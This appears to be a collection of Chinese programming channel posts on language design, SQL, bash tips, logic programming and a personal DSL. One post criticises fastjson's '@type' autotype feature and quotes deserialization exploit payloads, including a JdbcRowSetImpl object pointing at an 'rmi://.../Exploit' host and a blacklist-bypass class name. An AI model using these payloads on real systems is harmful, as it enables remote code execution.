#FP Prolog 和 Racket 一样都有严重的语法缺陷：没有真正的等号，语法一致性也很差；也就比 #SQL 好了
或许 Lisp 的嵌套链表很”统一“，但统一并不等于简单而一致

number(X) 就是 X=num() 的意思，很多算式本该有”一个值“，而不是为了”X=1 返回 [{X:1}]“ 就放弃简化
Res 变量应该被掩盖掉，就像Go等所有现代语言都抛弃了 struct*, char**

那样👆e(X) 就可以不用”宏“ 或 Monad 来实现隐式参数，化简3参数的 S=X+R, "2x"==2+'x' , 直接 num=[S,X,R] 就能被 repeat() 修饰了, num=["12a",X] 优于 phrase(num(X), "12","a")

（话说 hs 也真是垃圾🙉 连伪递归纯函数 都强制化了，却仍然不能求解出 x+[2,3]=[1,2,3] ?? 递归再回溯，不就是为了方便DFS吗？

确实 inc1(x)=2 可能需要闭包和重载，所以我说圆括号很垃圾，因为不够”广义“的等号，和那些扭来扭去的数学希腊字或者VB,PHP一样

🥰我最爱的方向是：
- 定义式/py,rb,元编程,跨平台接口
- 关系式/模式匹配,读写转化,typing知识
- 响应式/Vue ,await和协程, 编程时所见即所得
- 跨领域/基于物理,OS,libc 等根源问题的搜索习惯

#py 周刊

- Excel 支持 import pandas, statsmodels, matplotlib / seaborn 了, Guido 亲自推广（可能是云计算，要订阅）
- PowerToys添加“可交互”的截图
- Google 等各种大公司的技术blog #list
- #apple #design 设计师法则
- #learn 看美军的脏话官话(F-words)学英语 。

- 单靠 #sql 如何保存数据
- APL 里有的 py 基本列表处理式
- FastAPI 最佳实践 list
- async stdlib: 对比理解各种流行实现

- fixit linter: py 版本的 IDEA 自动迁移 (无AI), cffi: 我用什么 C parser 链接到.h 文件
- 用 difflib 开发一个文件比较工具
- KeymouseGo, ahkunwrapped py : 类似按键精灵的鼠标键盘录制和自动化操作
- quivr：生成式 AI 打造你的第二大脑, trafilatura: GUI 文本/评论 爬虫
检索非结构化的信息，可以理解成支持人工智能的 Obsidian。可以处理各种形式的文件如文本、图片、代码、音频和视频等，依赖于 ChatGPT、Docker、Supabase

- FastAPI + SSE new EventSource('/http流') API 下发文本消息
- 用py编写代码高亮图片生成 (carbon.now.sh ..)
- Streamlit 地图高亮生成
- Streamlit GPT4文件摘要工具

- Mojo #ai #rust: 对Py的渐强类型&优化 的语法改进 [waitlist]

def mandelbrot_0(c: ComplexFloat64) -> Int: #CPU FMA优化, 1Mojo = 15Numpy = 89CPy
    z = c, nv = 0
    for i in range(1, 200): #清晰度
      if abs(z) > 2: break
      z = z*z + c
      nv += 1
    return nv

👀 Rust 确实是资本的语言，融资1亿刀乐

#code #algorithm 埃氏素数筛

def gen_primes():
    """Generate an infinite sequence of prime numbers."""
    D = {}
    q = 2
    while True:
        if q not in D: D[q * q] = [q];yield q
        else:
            for p in D[q]: D.setdefault(p + q, []).append(p)
            del D[q]
        q += 1

#PLT #sql https://zhuanlan.zhihu.com/p/646479383

Z3-SMT 是SAT(可行性求解器)的增强版，即一种sympy 。比Prolog更擅长解数值，甚至能解数独（迫真 ，解决cargo的依赖版本（原神

from z3 import *
A, B, C = Bools('A B C')
# 创建一个求解器
s = Solver()

# 添加约束条件
s.add(Or(And(A, B), And(Not(A), C)))
# 检查是否存在解
if s.check() == sat:

Z3的API这么复杂，又要add check 又.model的， 不如和Keras做个联动，支持机器学习+逻辑编程好了。 哦，原来 state.add(x==1) 只能执行1次 不是flowgraph啊？
这API还真挺Pythonic
这种问题貌似Prolog不用限定类型都能解。 定义 Bool(A) 无非是为了重载，那And(bools) 有啥别的语意-即搜索范围呢？ 强类型逻辑式编程？好奇怪的搭配


稍微对比几个同类项，都不会这么白象化逻辑式编程


#zhihu 上看到一些逆天观念，C的设计错误：

1：单返回值这个设计可能是受了数学上的f(x,y...)的影响
真的需要多返回值的时候，C就只能用指针搪塞一下了
2：连续不等式
如果 a > b > c， 则……
3: void不是类型

1. Go就支持func (ret, err) 。所以不仅调用难以组合，Err体系也给弄成错的，因为err!=nil时函数不可能有值
2. 写成 (a > b > c) 还是 (a>=x>=c) & (a~b)(x) ？ 过了这个村， for(x) 和 x inbounds range 就不可能一致了
3. 数学没有void，所以我赞成省略类型=void

还有一些不逆天的C错误：

"\0" 不是数组，argv无法单作为值
赋值是表达式，而且允许

for(;b-c;) c+ --b; b--;//c+b-1, b-=2

强制转换语法 (T)+xx、类型前置，这个的影响非常深远，带来的麻烦无穷无尽
if, while, for 的小括号和大括号，switch break
for (i = 1; i <= 10; i++) ，这个 (1~10):[i] 也很毒瘤了

#cg #tool https://www.youtube.com/watch?v=jCd6XfWLZsg

#sql https://apvarun.github.io/graphize/
https://orml.openrndr.org/orml/#:~:text=orml-dbface

https://pixijs.com/8.x/tutorials/getting-started#4
http://fabricjs.com/demos/
唉呀 Creative Programming 的业余和部署差异怎么就那么大呢
ShaderToy.com 和 p5js.org 可以说是3D和粒子模拟的老牌了
bunny.rotation += 0.1 * time.deltaTime; 这种程度CG还搞模块化

我觉得可以和 https://ncase.me/joy/demo/turtle/ turtletoy.net 的小乌龟 儿童编程 比, 还有 CSS houdini.how
和 https://eternal.rob.computer/ cables.gl
http://paperjs.org/examples/candy-crash/ animejs.com 这些是不够力的

https://github.com/jagenjo/litegraph.js?tab=readme-ov-file#projects-using-it comfyUI #blender
https://github.com/cai-hust/manim-tutorial-CN
https://rossning92.github.io/movy/?file=examples/demo/movy-logo.js

http://tridiv.com/
用散点transform:画吗.. https://petertyliu.github.io/toaster/
用 CSS + HTML 画三维物体的可视化编辑器。

#learn #bash with #tool 入门+优质冷知识 😋
图为 asciinema.org/explore 。没有 #linux 的极客可打开 WebVM.io
Linux Deploy; (Mac)Git Bash; winetricks; screenfetch 甚至 bashttpd; pacman/OpenRC init 基于bash

shell 是类似 Windows.ps1 但使用纯文本或行IO的脚本编程语言。 每当你看见awk|sed|grep ，那就是在 #sql select访问属性、文本替换、where过滤了
Dijkstra说，用BASIC编程的人“脑子已经坏了”，作为运维你要尽力避免这一点。用AI写命令思路也是要正确！ 😨

因此在思考时，你应当用pwsh的API模型： Get-Date|select Year; dir|?{$_.CreationTime.Year -lt 2024} ，而不止是 date '+%Y' ; find . -maxdepth 1 -type f -not -newerct 2023.12.31
更不是 网关=ip r|awk '{print $3}' 这样的糟粕

— 快捷键 (bind -p|grep '"\\C')
⬆️⬇️滚动历史， Alt/Fn⬅️➡️ 跳词/跳行，Tab补齐， ls \ mydir 或fc:多行命令
nl $HISTFILE|tac|less 默认保留500条可清空
^=Ctrl, M=Alt e=ESC
^M T 打开cmd窗口 ^L清屏 ^D退出
!cd 执行最近1次cd开头的命令, sudo !! 补齐为上一条命令
touch a; ls $_ #操作同一个文件
^a^b 改参数重执行

^U ^Y 剪切和粘贴行,nano同款
*.mp4 ^xg #查看符合正择的文件,免ls|grep
^A# ^E# 意为正则/^$/。script录制时(例如 history 3) 添加注释

^M F1~F6 一般含几个tty串口，通过 echo>/dev/tty2 即w;write,您可以装得像电脑有第二个人在用一样 还需要协作 😅

#您知道吗？ #cs #dnn #wasm 计科长青树一瞥：递归下降、梯度下降 （1）

*编程的赞歌就是(组合compose)的赞歌，软工的伟大就是(复用reuse)的伟大！*
复用就是腾讯嘛！但，什么是组合？流行乐队是组合？

在《几何原本》里有这样一条公理：“整体”是由部分构造堆上去的。 无论物理的原子分子、化学的单质单剂、生物的组织系统、儿童编程的二分查找，甚至您编写的{语句}(算式) 定义表()，总少不了分治算法的影子；而与递归对应得最直观的树，除了带kwarg的视图描述树XML、文件夹管理和正则匹配的前/后缀树Trie、OIer的必修KMP图(: Trie+FailGoto)，更有梗图里常被实现为SortedSetOrMap的红黑树RBTree(: AVL) --作为按int KHash()预分组K-V查找的一种补充。

不过，今天咱调戏的不是高深的算法或数理化，而是程序员的自我修养：表达式、解释、编译、类型检查和推理。
🤓不少语法看似是ES6,Kotlin,Java20+,C++里高深莫测的新特性，其实，只是因为它们的设计混乱带来的大误会！ 软件工程界的基岩，原本很简单？

- 计算器🧮("1+1"):数据值 是不支持forif或(vars)=>函数/JSON文档的解释器，最简单的理解是 x=1; eval[+,1]。对内存的利用方式过于单一，就像🔑C语言的.o .so 只是靠LD互调用的object{static{}}，或者VB一代难加函数的"红石命令"，毫无扩展性还要另写头文件 自然被淘汰
- 解释📠("expr(1+1)"):值或行为 程序员唯一必须调用的接口。tree-walk(递归遍历算式)非解释器的专利、VM不是编译器的秘技。对x86汇编的执行也叫硬件解释，旧安卓通过转译arm汇编.so库到x86做兼容，就像IKVM对“JVM汇编”仍能再次转译到IL
- 编译 就是解释器的缓存📑：记住自顶向下遍历时的套路，直接自底向上组装值(lisp转RPN)，很像二叉树vs(堆,一种树状数组)！这除了要重新实现重复/判定/ret&&break跳转的流控，还可将RPN栈指令集优化为局部读写-按类型复用。
要求手动编译的语言均属慢速原型，会标注或推理出类型签名，从而🔑以限界实现提速和多态(重写重载、记住变量名的指针,即担保栈size恒定)。 ANTLR等“状态机”编译器的输出便是自底向上，正好颠倒于主动read()流到js栈的PEG，不过，它们其实是慢的虚拟机。

类型的本质是简洁的🔑常量「黑盒测试」，它与表达式同构，执行方法也相同！
- 类型检查 就是只解释 def f(x:T):R 里":右侧"的算式，以插入 (f T R) 这样的SQL行。x编译后是arg[0]：一个空悬指针，但T.fns却是有血有肉的"反射"常量。把每个 x:T=1 换为 x=T！
x+x 的语意为查询 (+ T T)、1+"" 查找函数签名 (+ int str)、 u.id (.id User Ret?) 便能检查误拼写和空指针
不难发现，这些都是效仿numpy重载个运算符就能实现的，并不需要学编译原理写解析器！这也是 hamcrest.org http Test库断言组合器的原理

泛型class/fn/var和赋值 的推理规则是一样的。
例如把 <TR> as([Box, T], T=>R):R 与 as(Box(1), str) 深度重合时，新建两个TypeVar(void)，它们会在 Int==T, R==str 的检查时被向上赋值，从而填充[Box,int]里的类型T、as调用里的R，并照顾到 i32->i64等转换及子类规则
同为编译期遍历，你还可以思考下 let[x0,x1]=a 如何被实现的，以及在运行期是否能模拟？

学习元编程有何好处🌝？因为可以从根源理解yield/await、纯函数、模式匹配、模板宏等“新”特性，凭什么能简化旧实践！
- 闭包和协程closure&coro 便是编译比解释好实现的两个特性。 compiler 通过{let;}的动态作用域(原型链..) 区分符号的LEGB来源(Local Enclosed外层局部 Global Builtin常量)，从而能把 (x=>y=>x+y) 化为对象值 f_y=((x,y)=>).bind(x)；Lua能查出跳转到表达式的指针，y=yield x 便能在return前，把函数的局部栈保存回 g.next/pr.then
- 模板constexpr 让闭包关于常量创建，如何？ ((x,y)=>x+y).bind(1) 就是 1+y， ((k,s)=>s[read+k]() ).bind("Int") 就是readInt，*[map(print,0~9)] 就是循环展开，这些就是预处理的价值！反射和const只是对eval(并缓存)之「二段求值」的阉割
- 副作用effects #FP bros异常抨击print这种“无法被值存储的、有非局部干扰的赋值”并推广他们的赎罪券:Monad……这却是因为他们并不懂「定义式编程」！
React signal(x=0) (1) 就是一个不纯的赋值，但，它导致的x=1却能被广播为参数、被保存和复现！🔑这还能叫“状态变更泄露难题”么？
并且，它还偷走了"FP独有的模式匹配"。对赋值副作用的录制，更是bash,vimrc类格式经久不衰的原因

说准点，这些都是 #SQL 的老大Prolog所原创并推崇的-:变量作为值,逻辑式编程！
*整体大于局部；与另一结构重合的结构，之中的值相等 --几何原本*

⏳在通读本文时，也可以参考以下实例：
coroutine=由用户run()的线程
*调用栈是数组，协程栈是回调构成的链表
诸分治排序可视化
手动babel脱糖一个async函数
知乎：分词解析vs解释
实现一个HTTP DSL
Var(signalObj)如何跨越进程和网络：句柄、登录cookie、JWT
def(): return this 是何方神圣？
在解释时缓存代码的Tk GUI
Trie们和字典输入法的实现
关于class Visitor {se(e:Add_AB), se(e:Int)} 和Eval/Dump接口的融合
实现文本流递归下降、四则运算逆波兰、 JSON.org
Prolog binop #parser
计科原神：认识WASM/LLVM IR和JIT, webVM.io

duangsuse:
nonlocal x=的那条？ 总比在C++里到处[]() 或move||要好

大家都不知道闭包捕获引用这些，这首先就要把那些XXer 的SAM类变成函数，然后才有非局部赋值问题

java虽然总八股值和引用，但大家总是不重赋值或深拷贝
我举那个py的例子算是好的，因为py这个畜生是直接把局部创建的cell()给捕获了。。
for a[0] in range 是有效的，许多人搞不明白

duangsuse:
orm就是把class 带上where sort 绑定到sql TABLE
基本上还应该带pager

Spring负责把http路径转到类路径，绑定个函数签名

理论上，pgsql 应该直接回应http请求的😂
90%的代码不过是做鉴权这样的中间件AOP
这一切，都是从PHP和XMLHttpRequest开始
唉，万能http

所以说AOP啊，pre post一加
你看有多少不是纯CRUD

不少小公司和C#的都是直接调用sql函数，不用后端
结果最后还是让程序员充当aigc了是吧。。

那些代码看一眼都算码农啊。。
怎么能容忍90%都是跨端复制的逻辑呢？

你不写，他们也会以合规为由要求写
jpa难道不能和sql模板打配合？

graphql.io 好，百度也有个json ql叫啥 https://baidu.github.io/amis/zh-CN/components/crud?page=1
凑字数能力很强

#sql 可垃圾着呢，我还写过生成sql的查询语言 https://tttttt.me/dsuse/17740
读着自然？都是骗人的， SQsu 都比它更“人类”

select id from 狗 where (月龄>6 and 高>40);
aka 取狗(月龄>6 and 高>40)

正宗的关系式写法是：
狗(id,高,月龄), 月龄>6, 高>40

区区filterSort的模板不值得从ORM,CMS,低代码 这些里面分出个后端开发来
http路径就是类路径，类结构就是方便转码和校验sql数据

绝大部分的app并不需要后端框架，只要pg支持http风格的sql语句和json化，加个鉴权分页什么的。
如果不是pg存储过程的语法垃圾没类库，它就登顶了

#haha #bilibili
pg的存储函数没有类库，也不好 json io， java 才充当了这个协议转换垫片
因此许多SaaS对象存储都是NoSQL的，因为这种RPC架构冗余代码太多🌚

然而在EE程序员逆天才的智锐随变下，无论是生成xml或暴露路由表对象的服务器，绑定函数的方法都非常冗余， demo的匮乏程度更是让人叹为观止
甚至连五星逼格的rust都不禁这样评价：

它们好像连classpath就是URL模板的这回事都搞不清楚，方法签名绑定也做不好，还@什么原神数据来codegen😋
很牛逼吗？fastapi,django, 正常语言到处都在用，放javakt就是高手了，这是🐮逼还是装嫩？

完全无法理解MyBatis为什么比jpa流行，还煞有介事的搞面试题
一个 sql``${} 调用模板罢了
一个被专门做来AI生成的语言，那肯定是垃圾

甚至，ORM都是一种浪费，因为70%的字段根本不会被访问，只是复制到数据库，又复制回js或php式模板侧

连最基本的程数同构都没学过，compose 后才开始搞DSL，更谈何避免Header绑定和分页参数的重复、PUT DELETED POST三方法的多态融合，更别说理解http调用与sql、与bash命令行的同质了。

人家import fire可是0代码就能提供命令行，甚至colab UI。
java元编程能吗？逆天 才EE程序员没那个心智模型！🌝

#dalao https://www.kxxt.dev/blog/programming-thoughts/2022-04-16/
https://lutaonan.com/blog/code-artists/ #ai #dev 第二次提及了，不符合刻板印象的 #js 人 👍
把 AI 当作是你的员工，就像某一天你突然只需要 $20 一个月就能招无数多愿意帮你打工的人，你很快就会发现，你最终会面临两种局面：

局面1：你将手足无措，你突然发现如果你不是实现函数的那个人，你就不知道你应该做什么了。从前你沾沾自喜的手写快排，手写红黑树突然变得一文不值，无处施展。
局面2：你将如虎添翼，你突然发现你曾经有很多想法没有精力和时间去实现，现在突然有这么多廉价劳动力将不厌其烦地帮你写代码

在这里我要申明，这篇文章我是写给有一定经验的程序员看的。对于没有什么经验的程序员，多写点代码总是好的
就像下面这个例子，我只要说一句 add tanstack query provider 就能让 AI 帮我把 @tanstack/query 加到我的程序里，但如果你没有任何代码经验，你连 query 是什么都不知道

#sql
https://github.com/duckdb/pg_duckdb
https://github.com/asg017/sqlite-vec
#asm C语言的变量符号
https://tttttt.me/kaedeharakazuha17/3548?comment=26435
https://evian-zhang.github.io/learn-assembly-on-Apple-Silicon-Mac/1-底层的整数.html
https://nan-archive.vercel.app/debugger
#bash
https://github.com/kxxt/tracexec?tab=readme-ov-file#origin
可是 stra execve 也可以

alias stra='strace --quiet=attach,exit -f -e "signal=!chld" -e'

>火之魔女: 不过unification我是想写好久了（应该按年计）但是一直没写的（
https://github.com/duangsuse/mkey 写过，不过落后很久了 #sql

这算法就是 unify(a,b); unify(a,1); unify(1,a) 得出 a.v==1==b.v
reify([a]) 解引用一下=[1] ，其实也挺有趣，包括npm也在牵强附会这玩意，真让人搞不懂从哪看的

http://minikanren.org/ 使用了一个自有的def: yield 实现，对 a&b 顺序执行，a|b 保存a的回溯以及交替yield ，但 inf(a,x): a=x|inf(a,x+1) 这种递归好像要套一层

append-out 生成加法表是比较知名的范例 https://www.adamsolove.com/microScopeKanren/
https://tca.github.io/veneer/editor.html https://swish.swi-prolog.org/
https://tomstu.art/hello-declarative-world

logicalVars 的真正力量是用在AST里实现函数参数、类型参数及推理等等，比如 vars(x=> Fn([x], [x 1 +])
所谓的HOAS ... 还真挺搞笑的，PLT人怎么会用字符串表示变量？？

可以在js里直接解释，也能被整齐替换为为 iload_0 之类的编译
也包括推理 fun let(:[T Box], :[Fn1 T R]): [R Box] 了， unify([T Box], [Int Box]) 一下就出来了，再给[(R=Any) Box]做一个freeze(reify)，比模式匹配不知道优美多少倍

然并暖。 国内讲这个都都是局限于那几个术语和过程，真够无聊的。
unification(变-量叠合) 不是解方程的办法(不能取代sympy.solve)，但React都在用它，只是在用一种很低性能的赝品(Svelte和Compose也是,快但丑)

PHP拼接SQL而不是用 (?)生成匿名函数， 一群PHD也这么搞，结果现在搞出个 AST v2，就“数学且高阶”了。指望这群人纠正IT界的错误实践？ 呵
Prolog已经50岁了，Lisp计算图和深先遍历则更久远，它们的思想稍微补丁一点，就能对今天的编程产生巨大的改变。 只是把"变量"这个概念初次写对，就说是Higher-Order tree了，真幽默啊PLT
(Lua lparser.c 在第一遍历就会查好栈/闭包/全局表的具体地址，这是所谓“不理论”的算法人，人家的var最开始就不是str，更别说Ruby和C符号呢。 PLT人只是目标更简单，并非语意更明确！)

如果ES6支持模式匹配时直接把Prolog的变量作为值学过来，React就可以带着它随地大小变的"FP" memo消失了
full: https://tttttt.me/dsuses/5341

#bilibili #sql #tencent http://www.bilibili.com/video/BV1Pw4m1k7uo

“小而美”的弱质IM配上全世界最小而美（测试比代码多）的SQLite
唐

#sb https://tttttt.me/im_RORIRI/16616
的作者 心理学博士 @losses_don ，就像 @drakeet 一样🥰

因为我谈了下"http 为什么变得只有POST方法有人用" ，解释到 #SQL 不能无方向IO的问题
（即，必须区分 select vs insert Into ，即便数据的结构完全一致！ ）
导致必须用双函数实现 /user/? 和 /user/new 两个业务，因此为RPC方便，选择支持body的POST； 而如果不使用返回值，只传入State('')或者说指针，就能利用到 HTTP Method 的语意 这回事

结合上次冲突（那是因为'二进制'parser冗余代码的问题）👆 居然把她整破防了🥰

>你还好吗？ 这么久没回来发帖，这就不告而别，态度还真像“技术激进主义”的支持者呢？

另外，我是认真的。 我的所有批评，都是因为懂那些代码是什么东西，里面有哪些是“私货”，而且，我与你们不同，我以复杂性为耻，
那是表里如一地讨厌：旧的、新的、规范的、自己的，那些无意义的过度工程，而非作为一种精英主义、小圈子自嗨的资本。

当然，除了真正的ORM，逻辑式编程范式最好的地方还是可以省掉前端“响应式框架”

ww.Counter=({n=0})=>
div(fx{tap:n ((x,to)=>+x+1)},
input(n),
u(n)
)
https://tttttt.me/dsuse/19901

而它的唯一技巧就是用“回调变量”而非返回值，并且为list,when等数据类型支持这种成员

为什么如此玻璃心呢？ Hz和我谈的挺好
不如等这些由同一种理论所驱动的框架发布的那天，你再来看看编程，是不是我说的这样。

🌚 大家可能觉得我在搞民科， CRUD Boy 都这么写（读写分2个函数实现），怎么可能有缺陷呢？

我反问一句： 你们听说过能「听」不能「说」，能「读」不能「写」的人类语言么？
我只知道英语是拼音语言，哈哈。（能听说就能读写）

js(json dump/load),sql ，这些编程语言所谓 v=readXX writeXX(v)，其实都是这样的，而我设计的那个编程范式，愉快的副作用之一就是支持反函数。

我的理想就是让「编程」不那么机械，我觉得身为程序员应该为代码所独有的简明精巧而自豪！
并不是为算法、数学或几何的「应用」，而是我们所用的语言，有这些学科未曾意料的，独到的一面，实为软件工艺。 #statement

很可惜，就像罗翔说的那样，技巧学多啦，反而丧失人性。

#sql #tool https://marketplace.visualstudio.com/items?itemName=yy0931.vscode-sqlite3-editor
Excel 式可视查询与编辑 (SQsu 当时就缺这样的UI吧 https://tttttt.me/dsuse/19091)

#sql #history https://www.fxzhihu.com/question/419913304/answer/3416608114
https://www.zhihu.com/question/35745351/answer/334610655 pwsh vs zsh , #os 设计

#china #sql #java #security #recommend
省流: fastjson 作者实现了前端都不能的 JSON.parse('{"__proto__":{"name":"FakeClass"}}') instanceof RealClass
它比JSer在类型检查上更 👈🤡

fastjson 窝槽， Ali 的架构师设计也真是逆天啊！！ 2020的分析，今天才看到，狗屎程度堪比 antd 事件
Jackson 真是多亏同行衬托 😅 温高铁​还煞有介事在下面装无辜， 晒自己咋优化 Latin-1(8bit)+UTF8 转wchar(16b) 比赢JDK

# xx toJSONString : {"sale":{"price":0.5},"name":"Hollis"} 的类结构
.:
  - Store-name-sale ["" IFruit]

.: IFruit
  - Apple-price [0]
  - Free

-xx Store "Hollis" (Apple 0.5)

这里有个问题， IFruit 其实是 sealed interface IfFruit{ Apple; Free } ，前者有"price":Int 后者没有field或setter，因此 parse<Store> ("{..}").sale as Apple 只能失败。

那 IFruit 凭啥能在无 backing field 的情况下被databind出来？new java.lang.reflect.Proxy ……😂 var by mapOf(); 没错，他搞笑呢，从性能和structure对应性上这都是fatal
那咋实现 OOP=封装+多态继承 呢？ 通过严格定义的 sealed/enum ADT{} ？通过XML？都不是，他懂， Auto "@type"...

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}
// 正确做法
{"sale":{type: Apple, "price":0.5},"name":"Hollis"}
// Rust默认做法
name=Hollis
[sale]
Apple={price=0.5}

脚本引擎都弄出来了呀…… 这画风和js的JSON迥异，生硬如同 new WTF({kwarg:..})
于是计算器就出来了 {@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"} ，数不清的注入点。
{"@type": "jdk.jfr.internal.JVM", "memorySize": 1} , {@type":"com.ibatis.sqlmap.engine.transaction.jta ... 变游乐场了

第一次知道这么脑洞打开的 workaround ，是把 List<*> =Any 泛型擦除当真理了吗， 真当子类多态就是一切皆Object 一切有@type呢， 其实那就是 enum { A(int) B(str) } 的特例而已！👈🤣
最搞的是JDK和这家伙一样喜欢玩魔法，开 1.2.25 blacklist 后 lazy(loadClass)("[Lcom.sun.rowset.JdbcRowSetImpl;") 等为方便ASM和反射也是合法类名，和温大佬异想天开的不一样， 修得和安卓 utf8_casefold 大小写合并bypass 一样弱智。真是不能期待他们在RCE 0day后，对OOP和json的强类型理解会有所反思，
因为直到 1.2.47 ，他都用类似 breakwa11 的黑名单「闭源」来防，拉黑算法还有bug…… 恕我直言，common sense 缺到有点好笑。 还@type呢， {"": "Apple"} 都是合法json，这不得快得废弃来？
(子类多态，var_a:T=b as T1 合法， Fn1<in T,out R> 就可以兼容赋值?super T ，override同理，这才叫懂八股..)

和log4j一样级别的。有时候我都好奇，在一个a[i]的 i±1 都绝对报错的代码世界，在try{return} 都会跳到finally{close..}的事务性严谨圈子里，在 sudo kill -9 随意但弱密码和Thread.stop不允许的稳健文化下，SQLi这种让WAF替你修的语意性混淆咋被容忍的。 弄得好像骇客们RCE进封闭系统如探囊取物，硬件主权全无效似的。
——
compile('select {}+1') (232) 是怎么能和 eval(f'{232}+1') 混为一谈的，代码和常量就这么拼接了？一个扁平一个嵌套分不清吗？ 我 模仿JS元编程20行 INI.dumps() 都未曾设想的逆天类型观 ，这就像幻想「富文本」里会有 <script>、fetch() 会带站内cookie执行任意 curl 能做的事，真拿人html/DOM就瞎用，丢的岂止隐私？

唉，草台班子。 「你就说弹calc.exe快不快吧」
这不禁让我想到「一种游戏服务器RPC返回Object的方法」： 直接把0xcafababe..的对象指针传客户端。 😓你怎么验证那句柄是否有效，能够安全写入？ set<usize> 还不如 map<int,usize> 快
如果客户端瞎JB暴力指向了admin密码上，或ROP覆盖了return“回调”的函数呢，你是否还记得 x=malloc(N) free(x) 为啥要对「整数x」严格限界、正确配对？

libc 和 Linux 防但防不住的，就是这种撒手掌柜啊 🤡
真是群爱等编译的脚本小子。 Talks

一个设计者就是这样推倒、再来、再推导、再来…… 😓 #life #statement

幸好，这是最后几朵乌云了， 只需要解决RPC的基本规范， HOLP的整个强类型IO体系就可以移植给java那些能丰富简历的平台了，
这个优雅到能放在README上的算法，肯定是能吊打JavaKt一众「魔法版」序列化库（至少 Fastjson https://tttttt.me/dsuse/20186 😅😅😅）

当然，HOLP 被设计为「语言之中的语言」。它本身有自己类似yaml+bash的语法，独立于电脑而存在，却又能联合OOP+FP+SQL的代码范式。 只不过依我的元编程写法，Trim*这些技巧仿佛背后并不存在一个体系……
如果以后您能见到一些漂亮的语法，那大概是HOLPful的节选和变体

-user {-id "Amy" -age 20}
-vs {.id="Amy", .age=20, }
pass user
  if u.age>18 {}
  or u.age>10 {}
  or u.age<0 not {} --or{NO}

class {
  -Pair(A,B){}
  -Tri(A,B,C){}
}
-tbl Tri{
  1,2,3,
  'a','b','c',
  {-[]Pair{666,233}}
}
tbl [3]A pairs [1]B==233
tbl [2]C=='c'

-f(x,) {x+1}
pass fsql"SELECT 1, 2" for(2,) { A+B } -- bash式参数!

我总是在闭关，看起来很闲，但做的就是这样的工作。 七年的积攒，只能是为了开创性的工作。

如果我家人稍微不粉红那么一点，我就不需要急功近利，可以耐心归纳，代码质量想必能突破一个个「单一用途」的桎梏。
其实他们才是最不爱国的，和某公子一样，只爱自己赢。

#sql #dontknow https://avi.im/blag/2024/sqlite-facts/

>It is maintained by three people. They don’t allow outside contributions.

CREATE TABLE t(value SPONGEBLOB) --- This is BLOB type!

最崩不住的一条语法无检查

最近设计一种跨语言ABI，很苦逼， 没啥灵感， 就评论点文章吧 🙉 #learn #sql #web #design

作者是DBMS的维护者。谈到面向表单+外键的数据库，应该说SQLite的质量很高，它不会是为了过度设计而做的东西，但内存数据库和今天广泛用于 Geo/Vec/全文搜索/timestamp 的Pg方向不同。
而王垠是我同行，他对SQL的观点是：必然要连ORM,Redis这些套子，还不如直接 new $KV_HashMap +loaddump 解决了，反正索引算法都是BTree二分查找嘛，像读写配置文件那样CRUD，比夸张的创造一种RPC协议又套一次要简单
我的态度是，SQL作为API的学习成本很不必要，但从就业率和persist部署一致性的角度-我们还能做什么呢？？ LINQ/JSON查询 那样架空SQL是合理的，但对企业应用，还是该有DBaaS的搞法，就像 mount -t 文件系统 有很多竞争者

但是文内还有些我不顺眼的地方，吐槽下……

>肤浅至极，给大家展示什么叫隔行如隔山。

他山之石可以攻玉，DB和OS/PL都是在x86上执行，都是靠算法PGO，说的好像换个SQL语法就爆赞了

>“就是C的struct， 就是指针, 为什么不能RPC”

struct和Row在数据类型上有动静态差异，而且SQL就是基于/tmp/shm的第一个 C RPC

>使用基本的数据结构，其实可以完全的表示关系模型以及被它所“超越”的那些数据模型
<怼：webapp在乎Bw-Tree是怎么实现lock-free的吗？用C写完了请加上一个buffer pool，WAL，disk-backed B Tree，并且写上所有高并发

王垠不该批评SQL这个API被实现为怎么样，SQL明显提供了单app做不到的缓存和事务性安全
new $KV_HashMap +loaddump 很简单，对象存储API很简单，但那并不是DBMS，倒不如说它解决了JVM的性能问题，让人们专注于优化$http.json
曾经嵌入式开发存在一些XML数据库，它们就是干啥啥不行，和JSON存储一样

>只要你有一个程序语言，你就可以发送这语言的代码，到一个“数据服务器”。服务器接受并执行这代码，对数据进行索引，查询和重构，最后返回结果给客户端
>如果你看清了SQL的实质，就会发现这样的“过程式设计”，其实并不会损失SQL的“描述”能力
<恭喜您发明了Spark。但是这怎么解决写入的问题？

unquote为常量(JSON.dump) 啊，他就是在批评SQL过于冗长罢了，其实程序员的工作范围是比Excel操作员高端的，说实话。
SQL存储函数完全能实现Java的中介功能，只不过没有直接暴露:3323:5432到公网的全栈文化罢了，DBaaS只是独立小程序的选择，许多人UAC验证都没做

>数据库的问题哪有那么困难，它其实跟“远过程调用”（RPC）没什么两样
<RPC最著名的问题就是怎么在保证性能的情况下靠近"Exactly Once"的广播call，数据库集群是一定要”Exactly Once“

类似于TCP：发送到Kafka的每批消息将包含一个序列号，该序列号用于重复数据的删除。与TCP不同，序列号将被持久化存储topic中，重启不会影响去重

>数据库系统存储设计的本质是简化以及优化程序和外存储的互动。

IndexDB确实就是更简单的类型化FS，是使用各种存储缓存的另一种范式

>DRAM读写速度大约10-20倍于SSD， 对于HDD更加明显， 硬盘延迟是80倍左右，同一份数据，在读写过程中自然地有多份copy。单独的数据库系统进程的职责就是， 在这样的硬件环境下，保证性能并且保证不会丢失数据。
>数据库的操作在加上transaction以后自带了对于断电等情况的应对，需要相对应加强代码的理论模型
>停电，系统崩溃这种事情不是人能控制的。灾难可以在任何时候发生。就算每次读写都直接走硬盘，写入的操作并不是一次完成的，简单的fprintf()都会发生只改了前缀的情况

谈到冗余备份，就不得不说 Pg VACCUM 语句和各种 &is_deleted=0 了，把笼子删了屎山只会跑得到处都是

不过就缓存&一致性问题，Linux 主流的jfs/bcache即日志文件系统/CoW写前复制 解决的蛮好的，并没有ACID那么复杂
而且说实话，真有人在乎意外断电，缓冲区的数据能不能恢复？(最多是CoW那样冲突留旧) 实时系统和RAID也不敢说啊。 软件层面试图硬抗，很天真

>我写C的时候只告诉电脑要一个变量”int a“，不告诉它要存在内存的哪里，还是放在寄存器里，也不告诉它整数是什么，存几个字节，真是一个不切实际的妄想啊。
>这年头你的数据库不把SQL编译成汇编都不好意思出去和人打招呼。

